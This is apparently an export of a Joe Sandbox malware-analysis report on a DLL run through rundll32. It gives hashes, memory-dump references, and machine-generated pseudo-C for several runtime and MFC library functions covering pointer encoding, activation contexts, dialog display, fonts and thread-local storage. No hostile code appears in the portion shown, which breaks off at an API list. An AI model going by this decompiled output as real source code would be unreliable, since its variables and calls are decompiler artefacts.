Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Rect$Window$Copy$Long$MessageParentSend
String ID: (
API String ID: 808654186-3887548279
Opcode ID: f3715104120bd9a9ad2091f5194cf8a6b1cdf2b1b32bd1e4515edb06979120bd
Instruction ID: 079f5433f00408e0f741dfd88d24248f4fdd3e054e785f99c4477576dc7144ed
Opcode Fuzzy Hash: f3715104120bd9a9ad2091f5194cf8a6b1cdf2b1b32bd1e4515edb06979120bd
Instruction Fuzzy Hash: 5F516C72A00559EBEF00CBE8CC84AEEBBB9FF89710F054525F915A7294DB30E9459B60

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6A6BF Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 92%

			E6EB6A6BF(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				struct HINSTANCE__* _t23;
				intOrPtr _t28;
				intOrPtr _t32;
				intOrPtr _t45;
				void* _t46;

				_t35 = __ebx;
				_push(0xc);
				_push(0x6eb85438);
				E6EB66608(__ebx, __edi, __esi);
				_t44 = L"KERNEL32.DLL";
				_t23 = GetModuleHandleW(L"KERNEL32.DLL");
				if(_t23 == 0) {
					_t23 = E6EB66E9D(_t44);
				}
				 *(_t46 - 0x1c) = _t23;
				_t45 =  *((intOrPtr*)(_t46 + 8));
				 *((intOrPtr*)(_t45 + 0x5c)) = 0x6eb7ce40;
				 *((intOrPtr*)(_t45 + 0x14)) = 1;
				if(_t23 != 0) {
					_t35 = GetProcAddress;
					 *((intOrPtr*)(_t45 + 0x1f8)) = GetProcAddress(_t23, "EncodePointer");
					 *((intOrPtr*)(_t45 + 0x1fc)) = GetProcAddress( *(_t46 - 0x1c), "DecodePointer");
				}
				 *((intOrPtr*)(_t45 + 0x70)) = 1;
				 *((char*)(_t45 + 0xc8)) = 0x43;
				 *((char*)(_t45 + 0x14b)) = 0x43;
				 *(_t45 + 0x68) = 0x6eb89b28;
				E6EB6AEB4(_t35, 0xd);
				 *(_t46 - 4) =  *(_t46 - 4) & 0x00000000;
				InterlockedIncrement( *(_t45 + 0x68));
				 *(_t46 - 4) = 0xfffffffe;
				E6EB6A794();
				E6EB6AEB4(_t35, 0xc);
				 *(_t46 - 4) = 1;
				_t28 =  *((intOrPtr*)(_t46 + 0xc));
				 *((intOrPtr*)(_t45 + 0x6c)) = _t28;
				if(_t28 == 0) {
					_t32 =  *0x6eb8a130; // 0x6eb8a058
					 *((intOrPtr*)(_t45 + 0x6c)) = _t32;
				}
				E6EB6E88F( *((intOrPtr*)(_t45 + 0x6c)));
				 *(_t46 - 4) = 0xfffffffe;
				return E6EB6664D(E6EB6A79D());
			}

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,6EB85438,0000000C,6EB6A7FA,00000000,00000000,?,6EB6AB74,00000000,00000001,00000000,?,6EB6AE3E,00000018,6EB85488,0000000C), ref: 6EB6A6D1
__crt_waiting_on_module_handle.LIBCMT ref: 6EB6A6DC

Part of subcall function 6EB66E9D: Sleep.KERNEL32(000003E8,00000000,?,6EB6A622,KERNEL32.DLL,?,?,6EB6A9B6,00000000,?,6EB646DA,00000000,?,?,?,6EB6473D), ref: 6EB66EA9
Part of subcall function 6EB66E9D: GetModuleHandleW.KERNEL32(00000000,?,6EB6A622,KERNEL32.DLL,?,?,6EB6A9B6,00000000,?,6EB646DA,00000000,?,?,?,6EB6473D,?), ref: 6EB66EB2

GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 6EB6A705
GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 6EB6A715
__lock.LIBCMT ref: 6EB6A737
InterlockedIncrement.KERNEL32(?), ref: 6EB6A744
__lock.LIBCMT ref: 6EB6A758
___addlocaleref.LIBCMT ref: 6EB6A776

Strings

EncodePointer, xrefs: 6EB6A6F9
KERNEL32.DLL, xrefs: 6EB6A6CB, 6EB6A6D0, 6EB6A6DB
DecodePointer, xrefs: 6EB6A70D

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1028249917-2843748187
Opcode ID: 96c26176f6b91fef86aa762fbfc3f66616de0451a991a721008914ea571c59fe
Instruction ID: 1a32fd45fe946074855291df04b10f6242ae2ac772a951c47c836129de83a717
Opcode Fuzzy Hash: 96c26176f6b91fef86aa762fbfc3f66616de0451a991a721008914ea571c59fe
Instruction Fuzzy Hash: 3311CD70810B81AADF209FF9D844B9EBFF4AF04314F10492ED5A99B790DB34AA00CF54

Uniqueness

Uniqueness Score: -1.00%

Function 6EB500B4 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 60
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E6EB500B4(intOrPtr __ecx, intOrPtr _a4) {
				intOrPtr _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t5;
				_Unknown_base(*)()* _t10;
				struct HINSTANCE__* _t18;
				void* _t19;
				char _t21;
				intOrPtr _t23;
				_Unknown_base(*)()* _t24;
				_Unknown_base(*)()* _t25;

				_push(__ecx);
				_t5 = __ecx;
				_t16 = _a4;
				 *((intOrPtr*)(__ecx)) = _a4;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				_v8 = __ecx;
				_t21 =  *0x6eb8c6c4; // 0x0
				if(_t21 == 0) {
					_push(_t19);
					_t18 = GetModuleHandleA("KERNEL32");
					_t22 = _t18;
					if(_t18 == 0) {
						L2:
						E6EB48BA4(0, _t16, _t18, _t19, _t22);
					}
					 *0x6eb8c6b4 = GetProcAddress(_t18, "CreateActCtxA");
					 *0x6eb8c6b8 = GetProcAddress(_t18, "ReleaseActCtx");
					 *0x6eb8c6bc = GetProcAddress(_t18, "ActivateActCtx");
					_t10 = GetProcAddress(_t18, "DeactivateActCtx");
					_pop(_t18);
					 *0x6eb8c6c0 = _t10;
					_pop(_t19);
					_t23 =  *0x6eb8c6b4; // 0x0
					if(_t23 == 0) {
						__eflags =  *0x6eb8c6b8; // 0x0
						if(__eflags != 0) {
							goto L2;
						} else {
							__eflags =  *0x6eb8c6bc; // 0x0
							if(__eflags != 0) {
								goto L2;
							} else {
								__eflags = _t10;
								if(__eflags != 0) {
									goto L2;
								}
							}
						}
					} else {
						_t24 =  *0x6eb8c6b8; // 0x0
						if(_t24 == 0) {
							goto L2;
						} else {
							_t25 =  *0x6eb8c6bc; // 0x0
							if(_t25 == 0) {
								goto L2;
							} else {
								_t22 = _t10;
								if(_t10 == 0) {
									goto L2;
								}
							}
						}
					}
					_t5 = _v8;
					 *0x6eb8c6c4 = 1;
				}
				return _t5;
			}

APIs

GetModuleHandleA.KERNEL32(KERNEL32), ref: 6EB500DD
GetProcAddress.KERNEL32(00000000,CreateActCtxA), ref: 6EB500FA
GetProcAddress.KERNEL32(00000000,ReleaseActCtx), ref: 6EB50107
GetProcAddress.KERNEL32(00000000,ActivateActCtx), ref: 6EB50114
GetProcAddress.KERNEL32(00000000,DeactivateActCtx), ref: 6EB50121

Strings

ActivateActCtx, xrefs: 6EB50109
ReleaseActCtx, xrefs: 6EB500FC
CreateActCtxA, xrefs: 6EB500F4
DeactivateActCtx, xrefs: 6EB50116
KERNEL32, xrefs: 6EB500D8

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: ActivateActCtx$CreateActCtxA$DeactivateActCtx$KERNEL32$ReleaseActCtx
API String ID: 667068680-3617302793
Opcode ID: c77a9178d0de7286b96f63fd9094f13b98090dab9ba459378d11aa0bd61e90ce
Instruction ID: 2763be727cdaacac247075826457a5072d2550cb44b62d914f2f5a9381af8b3f
Opcode Fuzzy Hash: c77a9178d0de7286b96f63fd9094f13b98090dab9ba459378d11aa0bd61e90ce
Instruction Fuzzy Hash: ED1151F1809786AFCF60AFE6888481BBEB9FA7B348305563FE1049B710E6708550CF12

Uniqueness

Uniqueness Score: -1.00%

Function 6EB530ED Relevance: 16.6, APIs: 11, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6EB530ED(void* __ebx, signed int __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t54;
				void* _t58;
				signed int _t59;
				signed int _t63;
				signed int _t71;
				signed int _t84;
				void* _t94;
				struct HINSTANCE__* _t96;
				signed int _t97;
				void* _t98;
				signed int _t100;
				void* _t101;
				void* _t102;

				_t102 = __eflags;
				_t94 = __edx;
				_push(0x24);
				E6EB6652E(0x6eb7791e, __ebx, __edi, __esi);
				_t100 = __ecx;
				 *((intOrPtr*)(_t101 - 0x20)) = __ecx;
				 *(_t101 - 0x1c) =  *(__ecx + 0x60);
				 *(_t101 - 0x18) =  *(__ecx + 0x5c);
				_t54 = E6EB53D20(__ebx, __edi, __ecx, _t102);
				_t96 =  *(_t54 + 0xc);
				_t84 = 0;
				_t103 =  *(_t100 + 0x58);
				if( *(_t100 + 0x58) != 0) {
					_t96 =  *(E6EB53D20(0, _t96, _t100, _t103) + 0xc);
					_t54 = LoadResource(_t96, FindResourceA(_t96,  *(_t100 + 0x58), 5));
					 *(_t101 - 0x18) = _t54;
				}
				if( *(_t101 - 0x18) != _t84) {
					_t54 = LockResource( *(_t101 - 0x18));
					 *(_t101 - 0x1c) = _t54;
				}
				if( *(_t101 - 0x1c) != _t84) {
					_t86 = _t100;
					 *(_t101 - 0x14) = E6EB52C67(_t84, _t100, __eflags);
					E6EB4C7E6(__eflags);
					 *(_t101 - 0x28) =  *(_t101 - 0x28) & _t84;
					 *(_t101 - 0x2c) = _t84;
					 *(_t101 - 0x24) = _t84;
					__eflags =  *(_t101 - 0x14) - _t84;
					if(__eflags != 0) {
						__eflags =  *(_t101 - 0x14) - GetDesktopWindow();
						if(__eflags != 0) {
							__eflags = IsWindowEnabled( *(_t101 - 0x14));
							if(__eflags != 0) {
								EnableWindow( *(_t101 - 0x14), 0);
								 *(_t101 - 0x2c) = 1;
								_t84 = E6EB487A0();
								 *(_t101 - 0x24) = _t84;
								__eflags = _t84;
								if(__eflags != 0) {
									_t86 = _t84;
									__eflags =  *((intOrPtr*)( *_t84 + 0x128))();
									if(__eflags != 0) {
										_t86 = _t84;
										__eflags = E6EB4F6F2(_t84);
										if(__eflags != 0) {
											_t86 = _t84;
											E6EB4F70D(_t84, 0);
											 *(_t101 - 0x28) = 1;
										}
									}
								}
							}
						}
					}
					 *(_t101 - 4) =  *(_t101 - 4) & 0x00000000;
					E6EB4E26C(__eflags, _t100);
					_t58 = E6EB4C72D(_t84, _t86,  *(_t101 - 0x14));
					_push(_t96);
					_push(_t58);
					_push( *(_t101 - 0x1c));
					_t59 = E6EB52F37(_t84, _t100, _t94, _t96, _t100, __eflags);
					_t97 = 0;
					__eflags = _t59;
					if(_t59 != 0) {
						__eflags =  *(_t100 + 0x3c) & 0x00000010;
						if(( *(_t100 + 0x3c) & 0x00000010) != 0) {
							_t98 = 4;
							_t71 = E6EB4F5C9(_t100);
							__eflags = _t71 & 0x00000100;
							if((_t71 & 0x00000100) != 0) {
								_t98 = 5;
							}
							E6EB4C2EA(_t100, _t98);
							_t97 = 0;
							__eflags = 0;
						}
						__eflags =  *((intOrPtr*)(_t100 + 0x20)) - _t97;
						if( *((intOrPtr*)(_t100 + 0x20)) != _t97) {
							E6EB4F95A(_t100, _t97, _t97, _t97, _t97, _t97, 0x97);
						}
					}
					 *(_t101 - 4) =  *(_t101 - 4) | 0xffffffff;
					__eflags =  *(_t101 - 0x28) - _t97;
					if( *(_t101 - 0x28) != _t97) {
						E6EB4F70D(_t84, 1);
					}
					__eflags =  *(_t101 - 0x2c) - _t97;
					if( *(_t101 - 0x2c) != _t97) {
						EnableWindow( *(_t101 - 0x14), 1);
					}
					__eflags =  *(_t101 - 0x14) - _t97;
					if(__eflags != 0) {
						__eflags = GetActiveWindow() -  *((intOrPtr*)(_t100 + 0x20));
						if(__eflags == 0) {
							SetActiveWindow( *(_t101 - 0x14));
						}
					}
					 *((intOrPtr*)( *_t100 + 0x60))();
					E6EB52CA3(_t84, _t100, _t97, _t100, __eflags);
					__eflags =  *(_t100 + 0x58) - _t97;
					if( *(_t100 + 0x58) != _t97) {
						FreeResource( *(_t101 - 0x18));
					}
					_t63 =  *(_t100 + 0x44);
					goto L31;
				} else {
					_t63 = _t54 | 0xffffffff;
					L31:
					return E6EB665D3(_t63);
				}
			}

0x6eb530ed
0x6eb530ed
0x6eb530ed
0x6eb530f4
0x6eb530f9
0x6eb530fb
0x6eb53101
0x6eb53107
0x6eb5310a
0x6eb5310f
0x6eb53112
0x6eb53114
0x6eb53117
0x6eb5311e
0x6eb5312f
0x6eb53135
0x6eb53135
0x6eb5313b
0x6eb53140
0x6eb53146
0x6eb53146
0x6eb5314c
0x6eb53156
0x6eb5315d
0x6eb53160
0x6eb53165
0x6eb53168
0x6eb5316b
0x6eb5316e
0x6eb53171
0x6eb53179
0x6eb5317c
0x6eb53187
0x6eb53189
0x6eb53190
0x6eb53196
0x6eb531a2
0x6eb531a4
0x6eb531a7
0x6eb531a9
0x6eb531ad
0x6eb531b5
0x6eb531b7
0x6eb531b9
0x6eb531c0
0x6eb531c2
0x6eb531c6
0x6eb531c8
0x6eb531cd
0x6eb531cd
0x6eb531c2
0x6eb531b7
0x6eb531a9
0x6eb53189
0x6eb5317c
0x6eb531d4
0x6eb531d9
0x6eb531e1
0x6eb531e6
0x6eb531e7
0x6eb531e8
0x6eb531ed
0x6eb531f2
0x6eb531f4
0x6eb531f6
0x6eb531f8
0x6eb531fc
0x6eb53200
0x6eb53203
0x6eb53208
0x6eb5320d
0x6eb53211
0x6eb53211
0x6eb53215
0x6eb5321a
0x6eb5321a
0x6eb5321a
0x6eb5321c
0x6eb5321f
0x6eb5322d
0x6eb5322d
0x6eb5321f
0x6eb53232
0x6eb5325d
0x6eb53260
0x6eb53266
0x6eb53266
0x6eb5326b
0x6eb5326e
0x6eb53275
0x6eb53275
0x6eb5327b
0x6eb5327e
0x6eb53286
0x6eb53289
0x6eb5328e
0x6eb5328e
0x6eb53289
0x6eb53298
0x6eb5329d
0x6eb532a2
0x6eb532a5
0x6eb532aa
0x6eb532aa
0x6eb532b0
0x00000000
0x6eb5314e
0x6eb5314e
0x6eb532b3
0x6eb532b8
0x6eb532b8

APIs

__EH_prolog3_catch.LIBCMT ref: 6EB530F4
FindResourceA.KERNEL32(?,?,00000005), ref: 6EB53127
LoadResource.KERNEL32(?,00000000), ref: 6EB5312F

Part of subcall function 6EB4C7E6: UnhookWindowsHookEx.USER32(?), ref: 6EB4C816

LockResource.KERNEL32(?,00000024,6EB416D7), ref: 6EB53140
GetDesktopWindow.USER32 ref: 6EB53173
IsWindowEnabled.USER32(?), ref: 6EB53181
EnableWindow.USER32(?,00000000), ref: 6EB53190

Part of subcall function 6EB4F6F2: IsWindowEnabled.USER32(?), ref: 6EB4F6FB

Part of subcall function 6EB4F70D: EnableWindow.USER32(?,?), ref: 6EB4F71E

EnableWindow.USER32(?,00000001), ref: 6EB53275
GetActiveWindow.USER32 ref: 6EB53280
SetActiveWindow.USER32(?), ref: 6EB5328E
FreeResource.KERNEL32(?), ref: 6EB532AA

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Window$Resource$Enable$ActiveEnabled$DesktopFindFreeH_prolog3_catchHookLoadLockUnhookWindows
String ID:
API String ID: 964565984-0
Opcode ID: 7f9f9ccc5d6ef5754801464cb029baf3904ba17056d949ef92120fbfb4af523d
Instruction ID: d6ec89b842c68de389f5ed8c5c70eb2a17d2968f33e450b2e85718f57b0119f7
Opcode Fuzzy Hash: 7f9f9ccc5d6ef5754801464cb029baf3904ba17056d949ef92120fbfb4af523d
Instruction Fuzzy Hash: 16519830A10B86DFDF119FF48898AAEBFB5EF49715F100829E512A7398CB758960CF51

Uniqueness

Uniqueness Score: -1.00%

Function 6EB60266 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E6EB60266(intOrPtr __ecx, signed int _a4) {
				signed int _v8;
				char _v40;
				void _v68;
				intOrPtr _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t12;
				void* _t14;
				char* _t23;
				void* _t29;
				signed short _t30;
				struct HDC__* _t31;
				signed int _t32;

				_t12 =  *0x6eb89470; // 0xc96cff66
				_v8 = _t12 ^ _t32;
				_t31 = GetStockObject;
				_t30 = 0xa;
				_v72 = __ecx;
				_t23 = "System";
				_t14 = GetStockObject(0x11);
				if(_t14 != 0) {
					L2:
					if(GetObjectA(_t14, 0x3c,  &_v68) != 0) {
						_t23 =  &_v40;
						_t31 = GetDC(0);
						if(_v68 < 0) {
							_v68 =  ~_v68;
						}
						_t30 = MulDiv(_v68, 0x48, GetDeviceCaps(_t31, 0x5a)) & 0x0000ffff;
						ReleaseDC(0, _t31);
					}
					L6:
					_t16 = _a4;
					if(_a4 == 0) {
						_t16 = _t30 & 0x0000ffff;
					}
					return E6EB63DE0(E6EB60112(_t23, _v72, _t29, _t31, _t23, _t16), _t23, _v8 ^ _t32, _t29, _t30, _t31);
				}
				_t14 = GetStockObject(0xd);
				if(_t14 == 0) {
					goto L6;
				}
				goto L2;
			}

APIs

GetStockObject.GDI32(00000011), ref: 6EB6028E
GetStockObject.GDI32(0000000D), ref: 6EB60296
GetObjectA.GDI32(00000000,0000003C,?), ref: 6EB602A3
GetDC.USER32 ref: 6EB602B2
GetDeviceCaps.GDI32(00000000,0000005A), ref: 6EB602C6
MulDiv.KERNEL32(00000000,00000048,00000000), ref: 6EB602D2
ReleaseDC.USER32 ref: 6EB602DE

Strings

System, xrefs: 6EB60289, 6EB602F3

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Object$Stock$CapsDeviceRelease
String ID: System
API String ID: 46613423-3470857405
Opcode ID: 49d48c7044cac5b0c479e9d1761c5f8e926056a0ee9edba107e8f1f7eefb11ea
Instruction ID: 9f16d8cfa404195facbd66dd7e68bfb081baf689f83fcfdd98a7e1bfae8e8968
Opcode Fuzzy Hash: 49d48c7044cac5b0c479e9d1761c5f8e926056a0ee9edba107e8f1f7eefb11ea
Instruction Fuzzy Hash: 14113D71A50669EBEF209BA2CC49FEE7BB8EF55745F010015F601A7280EA709D01CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6EB558E2 Relevance: 13.6, APIs: 9, Instructions: 96
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 83%

			E6EB558E2(void* __ebx, long* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t36;
				void* _t39;
				long _t41;
				void* _t42;
				long _t47;
				void* _t53;
				signed int _t55;
				long* _t62;
				struct _CRITICAL_SECTION* _t64;
				void* _t65;
				void* _t66;

				_push(0x10);
				E6EB6652E(0x6eb77b79, __ebx, __edi, __esi);
				_t62 = __ecx;
				 *((intOrPtr*)(_t66 - 0x18)) = __ecx;
				_t64 = __ecx + 0x1c;
				 *(_t66 - 0x14) = _t64;
				EnterCriticalSection(_t64);
				_t36 =  *(_t66 + 8);
				if(_t36 <= 0 || _t36 >= _t62[3]) {
					_push(_t64);
				} else {
					_t65 = TlsGetValue( *_t62);
					if(_t65 == 0) {
						 *(_t66 - 4) = 0;
						_t39 = E6EB55562(0x10);
						__eflags = _t39;
						if(__eflags == 0) {
							_t65 = 0;
							__eflags = 0;
						} else {
							 *_t39 = 0x6eb7b2d4;
							_t65 = _t39;
						}
						 *(_t66 - 4) =  *(_t66 - 4) | 0xffffffff;
						_t51 =  &(_t62[5]);
						 *(_t65 + 8) = 0;
						 *(_t65 + 0xc) = 0;
						E6EB55694( &(_t62[5]), _t65);
						goto L5;
					} else {
						_t55 =  *(_t66 + 8);
						if(_t55 >=  *(_t65 + 8) &&  *((intOrPtr*)(_t66 + 0xc)) != 0) {
							L5:
							_t75 =  *(_t65 + 0xc);
							if( *(_t65 + 0xc) != 0) {
								_t41 = E6EB4847A(_t51, __eflags, _t62[3], 4);
								_t53 = 2;
								_t42 = LocalReAlloc( *(_t65 + 0xc), _t41, ??);
							} else {
								_t47 = E6EB4847A(_t51, _t75, _t62[3], 4);
								_pop(_t53);
								_t42 = LocalAlloc(0, _t47);
							}
							_t76 = _t42;
							if(_t42 == 0) {
								LeaveCriticalSection( *(_t66 - 0x14));
								_t42 = E6EB48B6C(0, _t53, _t62, _t65, _t76);
							}
							 *(_t65 + 0xc) = _t42;
							E6EB65E80(_t62, _t42 +  *(_t65 + 8) * 4, 0, _t62[3] -  *(_t65 + 8) << 2);
							 *(_t65 + 8) = _t62[3];
							TlsSetValue( *_t62, _t65);
							_t55 =  *(_t66 + 8);
						}
					}
					_t36 =  *(_t65 + 0xc);
					if(_t36 != 0 && _t55 <  *(_t65 + 8)) {
						 *((intOrPtr*)(_t36 + _t55 * 4)) =  *((intOrPtr*)(_t66 + 0xc));
					}
					_push( *(_t66 - 0x14));
				}
				LeaveCriticalSection();
				return E6EB665D3(_t36);
			}

APIs

__EH_prolog3_catch.LIBCMT ref: 6EB558E9
EnterCriticalSection.KERNEL32(?,00000010,6EB55AB2,?,00000000,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000,?,6EB4D0D7), ref: 6EB558FA
TlsGetValue.KERNEL32(?,?,00000000,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000,?,6EB4D0D7,00000000), ref: 6EB55918
LocalAlloc.KERNEL32(00000000,00000000,00000000,00000010,?,?,00000000,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB5594C
LeaveCriticalSection.KERNEL32(00000000,?,?,00000000,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000,?,6EB4D0D7,00000000), ref: 6EB559B8
_memset.LIBCMT ref: 6EB559D7
TlsSetValue.KERNEL32(?,00000000,00000000,00000000), ref: 6EB559E8
LeaveCriticalSection.KERNEL32(?,?,00000000,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000,?,6EB4D0D7,00000000), ref: 6EB55A09

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: CriticalSection$LeaveValue$AllocEnterH_prolog3_catchLocal_memset
String ID:
API String ID: 1891723912-0
Opcode ID: a6b79bf09a72829d0d023791a22cf7aa881fa5da805d4a099d9cacebd26b2c25
Instruction ID: 7f0d96654e1d5ca72e9b48a94e7b64931c6451c660d7b83f6881bfeb78e8c6d1
Opcode Fuzzy Hash: a6b79bf09a72829d0d023791a22cf7aa881fa5da805d4a099d9cacebd26b2c25
Instruction Fuzzy Hash: 5531C270412696EFDF11DFA4C884D9EBFB5FF00321B11C529E56697A60CB30A960CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4889E Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 115
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E6EB4889E(void* __ecx, void* __edx, void* __eflags, long _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16) {
				signed int _v8;
				char _v9;
				char _v268;
				struct HWND__* _v272;
				signed int _v276;
				long _v280;
				struct HWND__* _v284;
				intOrPtr _v288;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t36;
				signed int _t53;
				intOrPtr _t56;
				long _t59;
				struct HWND__* _t62;
				CHAR* _t63;
				void* _t64;
				void* _t66;
				void* _t70;
				void* _t71;
				long _t72;
				void* _t73;
				void* _t74;
				signed int _t76;
				void* _t77;
				signed int _t81;

				_t70 = __edx;
				_t79 = _t81;
				_t36 =  *0x6eb89470; // 0xc96cff66
				_v8 = _t36 ^ _t81;
				_t72 = _a4;
				_t76 = 0;
				_v288 = _a8;
				E6EB487B3(0);
				_t66 = _t71;
				_t62 = E6EB487EC(0,  &_v272);
				_v284 = _t62;
				if(_t62 != _v272) {
					EnableWindow(_t62, 1);
				}
				_v280 = _v280 & _t76;
				GetWindowThreadProcessId(_t62,  &_v280);
				if(_t62 == 0 || _v280 != GetCurrentProcessId()) {
					L7:
					__eflags = _t72;
					if(__eflags != 0) {
						_t76 = _t72 + 0x78;
					}
					goto L9;
				} else {
					_t59 = SendMessageA(_t62, 0x376, 0, 0);
					if(_t59 == 0) {
						goto L7;
					} else {
						_t76 = _t59;
						L9:
						_v276 = _v276 & 0x00000000;
						if(_t76 != 0) {
							_v276 =  *_t76;
							_t56 = _a16;
							if(_t56 != 0) {
								 *_t76 = _t56 + 0x30000;
							}
						}
						if((_a12 & 0x000000f0) == 0) {
							_t53 = _a12 & 0x0000000f;
							if(_t53 <= 1) {
								_t23 =  &_a12;
								 *_t23 = _a12 | 0x00000030;
								__eflags =  *_t23;
							} else {
								if(_t53 + 0xfffffffd <= 1) {
									_a12 = _a12 | 0x00000020;
								}
							}
						}
						_v268 = 0;
						_t96 = _t72;
						if(_t72 == 0) {
							_t63 =  &_v268;
							_t72 = 0x104;
							__eflags = GetModuleFileNameA(0, _t63, 0x104) - 0x104;
							if(__eflags == 0) {
								_v9 = 0;
							}
						} else {
							_t63 =  *(_t72 + 0x50);
						}
						_push(_a12);
						_push(_t63);
						_push(_v288);
						_push(_v284);
						_t73 = E6EB48709(_t63, _t66, _t72, _t76, _t96);
						if(_t76 != 0) {
							 *_t76 = _v276;
						}
						if(_v272 != 0) {
							EnableWindow(_v272, 1);
						}
						E6EB487B3(1);
						_pop(_t74);
						_pop(_t77);
						_pop(_t64);
						return E6EB63DE0(_t73, _t64, _v8 ^ _t79, _t70, _t74, _t77);
					}
				}
			}

APIs

